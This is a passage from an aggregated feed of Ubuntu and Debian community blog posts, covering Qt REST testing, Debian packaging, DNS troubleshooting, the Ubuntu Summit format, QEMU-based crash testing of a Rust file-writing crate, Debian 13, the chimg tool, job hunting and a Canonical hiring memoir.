watcher.setFuture(responseFuture);
QVERIFY(spy.wait(10000));
auto jsonObject = responseFuture.result().jsonDoc.object();
QCOMPARE(jsonObject["status"], "success");
QRegularExpression regex(
    R"(https://images\.dog\.ceo/breeds/wolfhound-irish/[^.]+.jpg)");
QVERIFY(regex.match(jsonObject["message"].toString()).hasMatch());

The result is quite similar to the Typescript above, but only because we can use spy.wait. In application code, we still need to use .then with a callback, but we can additionally use .onFailed and .onCanceled instead of making multiple signal/slot connections.

With the addition of QtFuture::whenAll, it is easy to make multiple REST requests at once and react when they are all finished, so perhaps something else has been gained too, compared to a signal/slot model:

RemoteAPI remoteApi;
remoteApi.setBaseUrl(QUrl("https://dog.ceo"));
auto responseFuture = remoteApi.requestMultiple({
    {
        "GET",
        "api/breeds/list/all",
    },
    {"GET",
     "api/breed/:breed/:sub_breed/images/random",
     {},
     {{"breed", "german"}, {"sub_breed", "shepherd"}}},
    {"GET",
     "api/breed/:breed/:sub_breed/images/random/:num_results",
     {},
     {{"breed", "wolfhound"}, 
     {"sub_breed", "irish"}, 
     {"num_results", "3"}}},
    {"GET", "api/breed/:breed/list", {}, {{"breed", "hound"}}},
});
QFutureWatcher<QList<RestResponse>> watcher;
QSignalSpy spy(&watcher, &QFutureWatcherBase::finished);
watcher.setFuture(responseFuture);
QVERIFY(spy.wait(10000));
auto four_responses = responseFuture.result();
QCOMPARE(four_responses.size(), 4);
QCOMPARE(four_responses[0].jsonDoc.object()["status"], "success");
QVERIFY(four_responses[0].jsonDoc.object()["message"].
    toObject()["greyhound"].isArray());
QRegularExpression germanShepherdRegex(
    R"(https://images.dog.ceo/breeds/german-shepherd/[^.]+.jpg)");
QCOMPARE(four_responses[1].jsonDoc.object()["status"], "success");
QVERIFY(germanShepherdRegex.match(
    four_responses[1].jsonDoc.object()["message"].toString()).hasMatch());
QRegularExpression irishWolfhoundRegex(
    R"(https://images.dog.ceo/breeds/wolfhound-irish/[^.]+.jpg)");
QCOMPARE(four_responses[2].jsonDoc.object()["status"], "success");
auto irishWolfhoundList = 
    four_responses[2].jsonDoc.object()["message"].toArray();
QCOMPARE(irishWolfhoundList.size(), 3);
QVERIFY(irishWolfhoundRegex.match(irishWolfhoundList[0].toString()).
    hasMatch());
QVERIFY(irishWolfhoundRegex.match(irishWolfhoundList[1].toString()).
    hasMatch());
QVERIFY(irishWolfhoundRegex.match(irishWolfhoundList[2].toString()).
    hasMatch());
QCOMPARE(four_responses[3].jsonDoc.object()["status"], "success");
auto houndList = four_responses[3].jsonDoc.object()["message"].toArray();
QCOMPARE_GE(houndList.size(), 7);
QVERIFY(houndList.contains("afghan"));
QVERIFY(houndList.contains("basset"));
QVERIFY(houndList.contains("blood"));
QVERIFY(houndList.contains("english"));
QVERIFY(houndList.contains("ibizan"));
QVERIFY(houndList.contains("plott"));
QVERIFY(houndList.contains("walker"));

setAutoDeleteReplies(false);

I attempted to use new API additions in recent Qt 6 versions to interact with a few real-world REST services. The additions are valuable, but it seems that there are a few places where improvements might be possible. My attempt to make the API feel closer to what developers in other environments might be accustomed to had some success, but I’m not sure QFuture is really intended to be used this way.
Do readers have any feedback? Would using QCoro improve the coroutine experience? Is it very unusual to create an application with QWidgets instead of QML these days? Should I have used PyQt and the python networking APIs?

]]> Stephen Kelly Free software activity in November 2025 https://www.chiark.greenend.org.uk/~cjwatson/blog/activity-2025-11.html https://www.chiark.greenend.org.uk/~cjwatson/blog/activity-2025-11.html Thu, 04 Dec 2025 17:55:59 GMT My Debian contributions this month were all sponsored by Freexian. I had a bit less time than usual, because Freexian collaborators gathered in Marseille this month for our yearly sprint, doing some planning for next year.

You can also support my work directly via Liberapay or GitHub Sponsors.

OpenSSH

I began preparing for the second stage of the GSS-API key exchange package split (some details have changed since that message). It seems that we’ll need to wait until Ubuntu 26.04 LTS has been released, but that’s close enough that it’s worth making sure we’re ready. This month I just did some packaging cleanups that would otherwise have been annoying to copy, such as removing support for direct upgrades from pre-bookworm. I’m considering some other package rearrangements to make the split easier to manage, but haven’t made any decisions here yet.

This also led me to start on a long-overdue bug triage pass, mainly consisting of applying usertags to lots of our open bugs to sort them by which program they apply to, and also closing a few that have been fixed, since some bugs will eventually need to be reassigned to GSS-API packages and it would be helpful to make them easier to find. At the time of writing, about 30% of the bug list remains to be categorized this way.

Python packaging

I upgraded these packages to new upstream versions:

I packaged django-pgtransaction and backported it to trixie, since we plan to use it in Debusine; and I adopted python-certifi for the Python team.

I fixed or helped to fix several other build/test failures:

I fixed a couple of other bugs:

Other bits and pieces

Code reviews

]]> Colin Watson It's NOT always DNS. https://notes.pault.ag/its-not-always-dns/ https://notes.pault.ag/its-not-always-dns/ Mon, 27 Oct 2025 17:15:00 GMT I’ve written down a new rule (no name, sorry) that I’ll be repeating to myself and those around me. “If you can replace ‘DNS’ with ‘key value store mapping a name to an ip’ and it still makes sense, it was not, in fact, DNS.” Feel free to repeat it along with me.

Sure, the “It’s always DNS” meme is funny the first few hundred times you see it – but what’s less funny is when critical thinking ends because a DNS query is involved. DNS failures are often the first observable problem because it’s one of the first things that needs to be done. DNS is fairly complicated, implementation-dependent, and at times – frustrating to debug – but it is not the operational hazard it’s made out to be. It’s at best a shallow take, and at worst actively holding teams back from understanding their true operational risks.

IP connectivity failures between a host and the rest of the network is not a reason to blame DNS. This would happen no matter how you distribute the updated name to IP mappings. Wiping out all the records during the course of operations due to an automation bug is not a reason to blame DNS. This, too, would happen no matter how you distribute the name to IP mappings. Something made the choice to delete all the mappings, and it did what you asked it to do

There’s plenty of annoying DNS specific sharp edges to blame when things do go wrong (like 8.8.8.8 and 1.1.1.1 disagreeing about resolving a domain because of DNSSEC, or since we’re on the topic, a DNSSEC rollout bricking prod for hours) for us to be cracking jokes anytime a program makes a DNS request.

We can do better.

]]> Paul Tagliamonte Why I Won’t Be Attending or Speaking at Ubuntu Summit 25.10 https://ericheickmeyer.com/2025/10/09/why-i-wont-be-attending-or-speaking-at-ubuntu-summit-25-10/ https://ericheickmeyer.com/2025/10/09/why-i-wont-be-attending-or-speaking-at-ubuntu-summit-25-10/ Thu, 09 Oct 2025 22:01:09 GMT Ubuntu Summit’s decision to go exclusively online, with the exception of those speaking at the Summit in London, UK, is anti-collaborative and turns its back on the very people who make Ubuntu what it is: its community of volunteers and developers. Ubuntu Summit was created from the dust of the Ubuntu Developer Summit in 2022 to recognize the community. It no longer serves that purpose.

As many know, I have been the lead of Ubuntu Studio for more than 7 years. I’m the longest-tenured Ubuntu Studio lead. I owe much of the foundation that was built to my predecessors: Luke Yelavich (founder), Scott Lavender, Kaj Ailomaa, and Set Halstrom. It is a true labor of love for me, and is the foundation for much of what I do.

I have worked myself through the ranks of Ubuntu, becoming a small-time packager for a small set of Ubuntu packages, then the Ubuntu Studio packageset, moving up to MOTU (Master of the Universe). I also served on the Ubuntu Community Council and am a current Discourse moderator.

Community and the love of people is a huge motivation for me. Granted, for those first four years, I hadn’t ever met the people I was collaborating with to make Ubuntu Studio what it is.

Then in August 2022, I was invited to attend the first ever Ubuntu Summit 2022 in Prague, Czechia. Having never travelled abroad before and never having even been off the continent of North America, itself a challenge as getting a U.S. passport is neither cheap nor easy, I was reluctant at first. Then I managed to get my passport, as well as the funds and passports to bring my wife and son to Ubuntu Summit.

That experience changed my life and the life of my entire family. My son, 10 at the time, was the youngest registered attendee. My wife was inspired to bring back Edubuntu, which had been defunct for nine long years by the time it was revived that following spring.

These are the things that happen when you have personal connections with people. If you’ve never read the book before, I encourage you to read Hardwired to Connect, which is a research paper published by a bunch of scientists. In essence, it says that people’s brains are wired, from birth, to engage in communities in for personal, in-person connections. It’s a scientific study that took years and is an excellent introduction to why we are the way we are.

Much of my education revolves around the very idea of building personal communities, which is one reason I was appalled when Ubuntu Summit, starting with 25.10, while it would be twice a year, it would be online-only except for the speakers. Having spoken at the past three, I was planning to take a year off from speaking, while still being there to represent as an Ubuntu Flavor Lead with my wife, also a now Flavor Lead.

If it weren’t for that initial Ubuntu Summit, in person, my wife and son would not have been as interested or as involved as they are today. The subsequent years only strengthened that involvement.

Now, it’s going to be an online-focused approach. I get it. It’s cheaper and easier. Also, those attending online were just watching a livestream anyhow. The Local Communities (LoCos) can get together on their own if they want to do a big event. It’s easier to reach more people if you do everything online.

Except it’s not.

For instance, the nearest active LoCo to me, in the Seattle-Tacoma area, is the Southern California LoCo. Meetups with them are logistically impossible. Same if I were to go to the Arizona LoCo; it’s just not possible. Most of the states in the United States are huge, so if there were one LoCo per state, it wouldn’t be correct. To be honest, I have no desire, time, or energy left to start and lead a LoCo in my area. Besides that, there used to be one for my state, but it’s long gone.

Furthermore, with the exception of me and my wife, us flavor leads are scattered to the globe. It used to be that we would meet online throughout the year every other month and then meet together once a year at Ubuntu Summit. That’s gone now.

Again, I get it. Canonical is a company that is and always has been majority remote work. Except for one thing: they get together twice a year in-person, and are even given T-Shirts to celebrate the immediately-prior release which was partially built by volunteers. Those of us who give our time, energy, and effort to the Ubuntu community aren’t given that in-person experience, let alone a T-Shirt. The very lifeblood of what makes Ubuntu so great isn’t given the ability to meet in-person. That’s been stripped from us, and it came as a complete surprise.

I’m not without ideas for solutions to problems, though. Rather than be completely destructive in this post, I can be constructive. My solution to this would be a compromise:

  • Have the Summit be in-person once a year following the yy.04 release
    • Have that one go back to being what it was. It can either have booths like 2024 did or go back to being talk/workshop-focused like years prior. It doesn’t matter, it just needs to be in-person.
  • Have the Summit be online once a year following the yy.10 release

I don’t think this is too much to ask. The reward of personal connections when doing something remote for most of the year is a small price to pay, no matter the cost. Personal connections are tantamount to a healthy community.

I think my compromise would prevent the Summit from dying just like the Ubuntu Developer Summit did once it went online-only. The way I see it is with the current status-quo, history is repeating itself.

I’m sure people at Canonical don’t see it this way because they meet with the people they work with the most twice a year. Those of us from the Ubuntu community that are developers aren’t given that luxury. We’re not even given that luxury once a year now. We’re not even given a T-Shirt!

Am I angry? A little. Do I feel betrayed by the very community I have given so much to over the years? Absolutely. Either way, I believe an online-only Summit is anti-collaborative in that it removes personal connections from the equation, which goes against the very fiber of my being.

Thank you for reading this, and I hope this reaches the people I’m trying to reach and have it speak for those who either won’t speak-up or don’t think they can make a difference.

]]> Erich Eickmeyer Testing crash recovery features in a CI environment https://andrea.corbellini.name/2025/09/09/testing-crash-recovery-features-in-ci/ https://andrea.corbellini.name/2025/09/09/testing-crash-recovery-features-in-ci/ Tue, 09 Sep 2025 00:05:00 GMT About two years ago I wrote a Rust crate to fulfill this promise:

If a crash occurs while updating a file, the file either contains the old contents, or the new contents, nothing in between.

This crate essentially solves the following problem: when you update a file, generally you open it, truncate it, write to it block-by-block, and eventually close it. The problem with this process is that if a crash occurs at any point during this process (the program segfaults, the kernel panics, the machine loses power, …), your file will be left in an intermediate state where the old contents are completely lost, and the new contents are only partially written (if at all). My crate solves this problem by making file updates atomic.

This crate is publicly available as atomic-write-file and you can read its description for more details (sorry, I’m very bad at naming things).

The way the crate works is simple:

  1. Instead of opening the target file directly, the crate opens a temporary file.
  2. You write to the temporary file.
  3. Once all changes are in, the temporary file contents are synced to the storage, and it is atomically renamed so that it replaces the target file.

This is not by any chance a new technique that I invented, and it’s a very common strategy to solve the problem. This technique guarantees that if a crash occurs at or before step 3, then the file will have the old contents, unchanged. If a crash occurs after step 3, then the file will have the new contents.

There’s a small caveat with this technique: if a crash occurs between steps 1 and 3, then the crate will leave behind a temporary file that occupies some space on the storage device with no purpose.

This is where Linux anonymous temporary files come into play: this Linux-specific feature allows you to create temporary files that are written on the filesystem, but are not given a path in the filesystem. If a crash occurs between step 1 and 3, the temporary file will simply be forgotten into oblivion.

Meet the opponent: btrfs

Using Linux anonymous temporary files seemed very appealing for atomic-write-file to avoid leaving leftovers behind, although I knew that they’re not the perfect solution: there’s limited support (they’re supported only on Linux, and only on some filesystems), they require the use of Linux features that may not be available all the time (the /proc filesystem), and they also have the problem that, sooner or later, they will need to be given a name if we want to be able to replace the target file, and this leaves a small time window during which we could leave some cruft behind.

But none of these are huge problems, and in fact atomic-write-file is able to do a best effort attempt at using anonymous temporary files, and reverting to regular files if that doesn’t work.

One day I was notified about an issue on using my crate on the btrfs file system: after a crash, my crate could break its promise and leave the file contents empty. I did some investigation on the issue that you can read about if you’re interested, and then fixed it.

This problem was specific to btrfs, and I argue that it’s actually caused by a btrfs bug, rather than a bug in the crate itself, but nonetheless this issue had revealed a critical flaw of my crate: I did not have any tests to check if my crate was fulfilling its promise or not!

Therefore I decided to create a small test suite for Linux to simulate crashes and inspect the contents of files after those crashes occurred on a variety of filesystems, which is what this blog post is about. This test suite now runs on my laptop and on GitHub Actions, and potentially any other CI environment.

Testing strategy

Here’s the idea I came up with: I can create a virtual machine, with a virtual storage device attached to it, and a filesystem initialized with a file. The virtual machine updates the file using atomic-write-file, and then triggers a kernel panic. After that, the file is inspected for consistency.

So here is how it works in practice: there are 3 main pieces: 1. A test binary that is responsible for updating the test file using atomic-write-file. 1. An init.sh script that runs inside the virtual machine. 1. The run-tests.sh script that puts everything together and starts up the virtual machine.

The test binary

The test binary that is a short Rust program that I can paste here:

use atomic_write_file::AtomicWriteFile;
use std::io::Write;

fn main() {
    let mut file = AtomicWriteFile::open("/test/file").expect("open failed");
    file.write_all(b"hello").expect("write failed");
    file.commit().expect("commit failed");
}

Nothing special to see here: this is the minimal code required to use atomic-write-file.

The init.sh script

The init.sh script is more interesting: this script in fact is meant to run twice. The first time it runs, init.sh will run the test binary above and trigger the kernel panic. The second time, it will read the test file contents and report them back run-tests.sh script for inspection.

Let’s take a closer look at what it does: first, it mounts the /proc and /sys virtual filesystems. These are needed for some basic system functions, and also to enable the Linux anonymous temporary file feature.

mount -t proc none /proc
mount -t sysfs none /sys

Then it mounts the filesystem containing the test file. Before it can do that, however, it needs to load the correct kernel module for the filesystem. Nothing too fancy here: the filesystem type is simply specified on the kernel command line (read through /proc/cmdline):

fstype=$(grep -Eo 'test.fs=\w+' /proc/cmdline | cut -d= -f2)
modprobe "$fstype" || true
mount -t "$fstype" /dev/sdb /test

Then, if this script is run for the first time, it will run the test executable and quit:

echo 'Running test binary'
atomic-write-file-test

init.sh (as the name suggests) is run as the init script of the virtual machine. In Linux, if the init script quits without invoking the proper shutdown sequence, the kernel will panic. So we don’t actually need to do anything special to trigger a panic. I could have inserted a echo c > /proc/sysrq-trigger line to make it more explicit, but then I figured that having that line wouldn’t be nice for people who want to test the script on their system.

You might ask: how does init.sh know if it’s the first time it gets called or the second? Again, nothing fancy here: run-tests.sh gives that hint using a kernel command line argument:

if grep -q test.verify /proc/cmdline; then
  # ...
fi

If test.verify is specified on /proc/cmdline, then it means this is the second time this script is run. In that case, the file contents are just printed on the console:

if grep -q test.verify /proc/cmdline; then
  echo 'Verifying test file contents'
  echo '-----'
  xxd /test/file
  echo '-----'
  poweroff -f
fi

This uses xxd so in case there are garbled characters on screen, we can comfortably analyze the output and figure out what happened. At the end, the system is more gracefully shut down using poweroff to avoid another kernel panic (this is not really necessary).

The run-tests.sh script

And then there’s the run-tests.sh script that crates the virtual storage, launches the virtual machine, and inspects the file contents. This is where most the complexity is, so let’s go step-by-step (the code below has been simplified from the original for readability):

The first thing it does is compiling the test binary above. The virtual machine runs in a very barebone environment, so I used static linking to avoid having to copy additional libraries like libc:

target=$(uname -m)-unknown-linux-gnu
RUSTFLAGS='-C target-feature=+crt-static' cargo build --release --features "$cargo_features" --target "$target"

Then run-tests.sh creates a minimal initramfs for the virtual machine. The initramfs is a filesystem that gets mounted by Linux early at boot. It’s generally used by Linux distributions to load the main operating system, but in my case the initramfs contains everything needed for the test. In particular, it contains:

  • The test binary.
  • The init.sh script.
  • BusyBox, to get the needed utilities like xxd and poweroff.
  • The kernel modules to mount filesystems and their dependencies.

The first 3 items are easy to set up:

cp "init.sh" -T "$initramfs_build_dir/sbin/init"
cp "atomic-write-file-test" -t "$initramfs_build_dir/bin"
cp "$(which busybox)" -t "$initramfs_build_dir/bin"
"$busybox" --install -s "$initramfs_build_dir/bin"

The kernel modules are a bit more complicated. First of all: where can we get them from? Ideally, I would have liked to download them from some minimal Linux distribution, but this turned out to be more complicated than expected. In the end, I decided to just steal them from the host operating system:

modules=/usr/lib/modules/$(uname -r)
cp -a "$modules" -t "$initramfs_build_dir/lib/modules"

while read -r mod_path; do
  if [[ "$mod_path" = *.ko.gz ]]; then
    gunzip "$mod_path" -o "$mod_path.uncompressed"
  elif [[ "$mod_path" = *.ko.xz ]]; then
    unxz "$mod_path" -o "$mod_path.uncompressed"
  elif [[ "$mod_path" = *.ko.zst ]]; then
    unzstd "$mod_path" -o "$mod_path.uncompressed"
  else
    continue
  fi
  mv "$mod_path.uncompressed" "$mod_path"
done < <(modprobe --dirname "$initramfs_build_dir" --show-depends "$filesystem_type" | grep ^insmod | cut -d' ' -f2)

What this does is copying all the module files from the host, getting all the dependencies for the filesystem module using modprobe, and then uncompressing those modules if they’re compressed (I found this much easier than adding compression support in the virtual machine). An alternative approach would be to simply decompress all the modules, but that’s much slower.

Once everything has been copied over and uncompressed, the initramfs is created:

initramfs=rootfs.img
mksquashfs "$initramfs_build_dir" "$initramfs"

Now it’s time to create the virtual storage device with the filesystem, which is a trivial task:

testfs=testfs.img
dd if=/dev/zero of="$testfs" bs=1M count=300
"mkfs.$filesystem_type" "$testfs"

Finally, we can start our VM using QEMU:

qemu=qemu-system-$(uname -m)
kernel=/boot/vmlinuz-$(uname -r)

"$qemu" \
  -kernel "$kernel" \
  -append "root=/dev/sda ro panic=-1 console=ttyS0 quiet test.fs=$filesystem_type" \
  -drive "index=0,media=disk,format=raw,file=$initramfs" \
  -drive "index=1,media=disk,format=raw,file=$testfs" \
  -no-reboot \
  -nographic

Again we’re stealing the kernel from the host operating system, which is also where the kernel modules come from. The drive with index=0 is the initramfs and will be visible as /dev/sda in the guest; the other drive with index=1 is our test storage and will be visible as /dev/sdb.

root=/dev/sda tells the kernel to boot from our initramfs image. panic=-1 tells the kernel not to reboot in case of a panic (panic=N specifies the number of seconds to wait before rebooting in case of kernel panic; specifying a negative value blocks that behavior). console=ttyS0 allows us to capture the output printed by the init script. test.fs=... is the option that init.sh is going to look for to understand what filesystem type to use.

Once that runs, the virtual machine is expected to do its job and crash with a kernel panic. We then need to restart it to verify the file contents. The QEMU command is exactly the same except for the additional test.verify option:

output=output.txt

"$qemu" \
  -kernel "$kernel" \
  -append "root=/dev/sda ro panic=-1 console=ttyS0 quiet test.fs=$filesystem_type test.verify" \
  -drive "index=0,media=disk,format=raw,file=$initramfs" \
  -drive "index=1,media=disk,format=raw,file=$testfs" \
  -no-reboot \
  -nographic \
  | tee "$output"

The output from this command is captured in a file that can be analyzed. If you remember how init.sh is written, you might have noticed that it writes the test file contents between two markers:

echo '-----'
xxd /test/file
echo '-----'

So what we have to do to verify the contents of the file is simply look for those two ----- markers, get the content in between, and parse it through xxd -r:

if [[ $(sed -n '/-----/, /-----/p' "$output" | xxd -r) = hello ]]; then
  echo "Success"
else
  echo "Failure"
  exit 1
fi

And that’s it!

Running in GitHub Actions

The next step for me was to set up some automation to make sure that my test script was run whenever I made any change to the crate. Because my project was already hosted on GitHub, I decided to go with GitHub Actions. I was a bit worried that I would have had to struggle to make it work because my script works by stealing the kernel from the host, and I thought that the GitHub runners could have some protections in place to prevent me from reading the kernel. To my surprise, there were no such restrictions. In fact, I did not have to modify a single line of code to make my tests work in GitHub Actions: check out the workflow file if you’re curious.

Result

In the end, the test suite was able to reproduce the issue with btrfs and anonymous temporary files, as well as show that the fix was working as intended. This is what it looks like (output in the screenshot was trimmed down a bit):

Output showing a failure from the test suite
Output from the run-test.sh script before applying the fix, showing a failure.
Output showing a success from the test suite
Output from the run-test.sh script after applying the fix, showing a success.

Future

I’m pretty satisfied with the general approach of running in a virtual machine and simulating a crash, but the implementation has a huge limitation: because it steals the kernel from the host, it cannot simulate crashes on other kernels, operating systems, or platforms.

I think in the future I’m going to take a look at cross-rs, a cross-platform tool for Rust crates. Cross-rs works kinda in a similar way as my test suite, in that it uses QEMU emulation to run tests. Maybe I can reuse their QEMU images and tweak them to run my crash tests. If that is feasible, then I will be able to extend my test suite to all major platforms and operating systems.

]]> Andrea Corbellini Debian 13 https://jonathancarter.org/2025/08/10/debian-13/ https://jonathancarter.org/2025/08/10/debian-13/ Sun, 10 Aug 2025 14:53:36 GMT Debian 13 has finally been released!

One of the biggest and under-hyped features is support for HTTP Boot. This allows you to simply specify a URL (to any d-i or live image iso) in your computer’s firmware setup and then you can boot to it directly over the Internet, so no need to download an image, write it to flash disk and then boot from the flash disk on computers made in the last ~5 years. This is also supported on the Tianocore free EFI firmware, which is useful if you’d like to try it out on QEMU/KVM.

More details about Debian 13 available on the official press release.

The default theme for Debian 13 is Ceratopsian, designed by Elise Couper. I’ll be honest, I wasn’t 100% sure it was the best choice when it won the artwork vote, but it really grew on me over the last few months, and it looked great in combination with all kinds of other things during DebConf too, so it has certainly won me over.

And I particularly like the Plymouth theme. It’s very minimal, and it reminds me of the Toy Story Trixie character, it’s almost like it helps explain the theme:

Plymouth (start-up/shutdown) theme.

Trixie, the character from Toy Story that was chosen as the codename for Debian 13.

Debian Local Team ISO testing

Yesterday we got some locals together for ISO testing and we got a cake with the wallpaper printed on it, along with our local team logo which has been a work in progress for the last 3 years, so hopefully we’ll finalise it this year! (it will be ready when it’s ready). It came out a lot bluer than the original wallpaper, but still tasted great.

For many releases, I’ve been the only person from South Africa doing ISO smoke-testing, and this time was quite different, since everyone else in the photo below tested an image except for me. I basically just provided some support and helped out with getting salsa/wiki accounts and some troubleshooting. It went nice and fast, and it’s always a big relief when there are no showstoppers for the release.

My dog was really wishing hard that the cake would slip off.

Packaging-wise, I only have one big new package for Trixie, and that’s Cambalache, a rapid application design UI builder for GTK3/GTK4.

The version in trixie is 0.94.1-3 and version 1.0 was recently released, so I’ll get that updated in forky and backport it if possible.

I was originally considering using Cambalache for an installer UI, but ended up going with a web front-end instead. But that’s moving firmly towards forky territory, so more on that another time!

Thanks to everyone who was involved in this release, so far upgrades have been very smooth!

]]> Jonathan Carter Streamline Root Filesystem Modifications with chimg https://toabctl.wordpress.com/2025/07/31/streamline-root-filesystem-modifications-with-chimg/ https://toabctl.wordpress.com/2025/07/31/streamline-root-filesystem-modifications-with-chimg/ Thu, 31 Jul 2025 18:15:36 GMT During the last year I developed as a side project a new tool called chimg . That tool is useful to modify a given rootfs chroot directory in a declarative way. It can replace a kernel within a chroot, preseed snaps, install debian packages, add PPAs and more (documentation is in git but not yet published).

The nice thing about this is, that this tool can be integrated into livecd-rootfs (the tool that is usually used to build Ubuntu images) or future tools which might use the craft framework to build images. chimg automatically detects already bind-mounted filesystems (eg. /sys, /proc, …), detects already preseeded snaps and usually does that same thing that livecd-rootfs currently does when eg. replacing an already installed kernel.

Install chimg with:

sudo snap install chimg --classic

An example configuration (eg. config.yaml) to modify a rootfs chroot directory looks like this:

---
kernel: linux-aws
debs:
  - name: shim-signed
  - name: grub-pc
  - name: grub2-common
  - name: ubuntu-cloud-minimal
snap:
  assertion_brand: canonical
  assertion_model: aws-classic
  snaps:
    - name: hello
      channel: latest/stable
files:
  -
    destination: /etc/default/grub.d/70-mysettings.cfg
    content: |+
      GRUB_TIMEOUT=0

cmds_post:
  -
    cmd: |
      echo "Everything done"

This config (stored in config.yaml in this example) can be applied to a newly created (or existing) root filesystem directory. Let’s create one in /tmp/chimg-noble:

sudo mmdebstrap --variant=apt --verbose noble /tmp/chimg-noble

Let’s apply the config changes now:

sudo chimg --log-console chrootfs config.yaml /tmp/chimg-noble

That’s it. The modifications are now applied to the /tmp/chimg-noble directory.

]]> Thomas Bechtold 2025: Finding a job, and the understanding the market https://joseeantonior.wordpress.com/2025/06/25/2025-finding-a-job-and-the-understanding-the-market/ https://joseeantonior.wordpress.com/2025/06/25/2025-finding-a-job-and-the-understanding-the-market/ Wed, 25 Jun 2025 21:39:35 GMT So, I’ve been in the job market for a bit over a year. I was part of a layoff cycle in my last company, and finding a new gig has been difficult. I haven’t been able to find something as of yet, but it’s been a learning curve. The market is not what it has been in the last couple of years. With AI in the mix, lots of roles have been eliminated, or have shifted towards where human intervention is needed to interpret or verify the data AI is interpreting. Job hunting is a job in an of itself, and may even take a 9 to 5 role. I know of a lot of people who have gone through the same process as myself, and wanted to share some of insights and tips from what I’ve learned throughout the last year.

Leveraging your network

First, and I think most important, is to understand that there’s a lot of great people around that you might have worked with. You can always ask for recommendations, touch base, or even have a small chat to see how things are going on their end. Conversations can be very refreshing, and can help you get a new perspective as how the industries are shifting, where you might want to learn new skills, or how to improve your positioning in the market. Folks can talk around and see if there’s additional positions where you might be a good fit, and it’s always good to have a helping hand (or a few). At the end of the day, these folks are your own community. I’ve gotten roles in the past by being referred, and these connections have been critical for my understanding of how different businesses may approach the same problem, or even to solve internal conflicts. So, reach out to people you know!

Understanding the market

Like I mentioned in the opening paragraph, the market is evolving constantly. AI has taken a very solid role nowadays, and lots of companies ask about how you’ve used AI recently. Part of understanding the market is understanding the bleeding edge tools that are used to improve workflows and day-to-day efficiency. Research tools that are coming up, and that are shaping the market.

To give you an example. Haven’t tried AI yet? Give it a spin, even for simple questions. Understand where it works, where it fails, and how you, as a human, can make it work for you. Get a sense of the pitfalls, and where human intervention is needed to interpret or verify the data that’s in there. Like one of my former managers said, “trust, but verify”. Or, you can even get to the point of not trusting the data, and sharing that as a story!

Apply thoughtfully

Someone gave me the recommendation to apply to everything that I see where I “could be a fit”. While this might have its upsides, you might also end up in situations where you are not actually a fit, or where you don’t know the company and what it does. Always take the time, at least a few minutes, to understand the company that you’re applying for, research their values, and how they align to yours. Read about the product they’re creating, selling, or offering, and see if it’s a product where you could contribute your skills. Then, you can make the decision of applying. While doing this you may discover that you are applying to a position in a sector that you’re not interested in, or where your skillset might not be used to its full potential. And you might be missing out on some other opportunities that are significantly more aligned to you.

Also take the time to fully review the job description. JDs are pretty descriptive, and you might stumble upon certain details that don’t align with yourself, such as the salary, hours, location, or certain expectations that you might feel don’t fit within the role or that you are not ready for.

Prepare for your interviews

You landed an interview – congratulations! Make sure that you’ve researched the company before heading in. If you’ve taken a look at the company and the role before applying, take a glimpse again. You might find more interesting things, and it will demonstrate that you are actually preparing yourself for the interview. Also, interviewing is a two-way street. Make sure that you have some questions at the end. Double-check the role of your interviewer in the company, and ensure that you have questions that are tailored to their particular roles. Think about what you want to get from the interview (other than the job!).

Job sourcing

There are many great job sources today – LinkedIn being the biggest of all of them. Throughout my searches I’ve also found weworkremotely.com and hnhiring.com are great sources. I strongly advise that you expand your search and find sources that are relevant to your particular role or industry. This has opened up a lot of opportunities for me!

Take some time for yourself

I know that having a job is important. However, it’s also important to take time for yourself. Your mental health is important. You can use this time to develop some skills, play some games, take care of your garden, or even reorganize your home. Find a hobby and distract yourself every now and then. Take breaks, and ensure you’re not over-stressing yourself. Read a bit about burnout, and take care of yourself, as burnout can also happen from job hunting. And if you need a breather, make sure you take one, but don’t overdo it! Time is valuable, so it’s all about finding the right balance.

Hopefully this is helpful for some folks that are going through my same situation. What other things have worked for you? Do you have any other tips you could share? I’d be happy to read about them! Share them with me on LinkedIn. I’m also happy to chat – you can always find me at jose@ubuntu.com.

]]> José Antonio Rey Attitudes on privacy and tracking https://s3hh.wordpress.com/2025/05/25/attitudes-on-privacy-and-tracking/ https://s3hh.wordpress.com/2025/05/25/attitudes-on-privacy-and-tracking/ Sun, 25 May 2025 13:00:15 GMT It’s amazing how quickly public opinion changes. Or, how quickly
people cave. Remember just 10 years ago, how people felt about
google glass?

Or how they felt when they found out target was analyzing their
purchases and perhaps knew them better than themselves or their
family?

People used to worry about being tracked by companies and government.
Today, they feel insecure unless they are certain they are being
tracked. For their own well-being of course. If an online store does
*not* send an email 10 hours after you’ve “left items in your cart,
don’t miss out!”, and another the next day, you feel disappointed. I
believe they’re now seen as sub-par.

]]> Serge Hallyn Rooming with Mark https://ograblog.wordpress.com/2025/05/16/rooming-with-mark/ https://ograblog.wordpress.com/2025/05/16/rooming-with-mark/ Fri, 16 May 2025 11:17:23 GMT Yesterday, exactly twenty years ago my mobile rang while I was walking the dog.

I had just returned from Sydney about a week ago (still battling with the last remains of my Jet-lag (I had never left Europe before!)) where I had attended the UbuntuDownUnder summit and had a 30min interview on the last day (that was literally rather like having a coffee with friends after lunch) with Mark Shuttleworth and Matt Zimmerman (back then Canonicals CTO) on a nice hotel terrace directly under a tree with a colony of flying foxes sleeping above our heads.

There was Jane Silber (CEO) on the phone, telling me: “I’m so happy to tell you you are hired! In your new role we want you to create an educational flavor of Ubuntu, there will be a debian-edu/skolelinux gathering in Bergen in Norway from the 10th to 12th of June, are you okay flying there with Mark?”

I rushed back home and told my girlfriend: “I’m hired, and I’ll fly Canonical One on my first business trip next month!” (Canonical One was the name of Marks plane). I learned the next weeks that Canonical had indeed booked a generic scheduled flight for me and we’d only meet at the venue 🙂

The flight was a disaster, after we were boarding that small 20-seater 2 prop plane that was supposed to get us from Cologne to Amsterdam and the pilot started the engine my window all of a sudden was soaked in oil. We had to stay in the plane out on the filed while the mechanics were fixing the engine for like 2-3h so indeed I missed the connection in Amsterdam and had to stay for the night instead of arriving in Bergen the evening before the event started.

When I arrived at the venue everyone was already busy hacking on stuff and I jumped right in alongside, finally meeting some users of LTSP (Linux Terminal Server Project) which I was upstream for at that time and working with them on the problems they faced in debian with it, tinkering with moodle as a teaching support system and looking at other edu software, meanwhile Mark was sitting on a bar-stool in a corner with his laptop hacking on launchpad code.

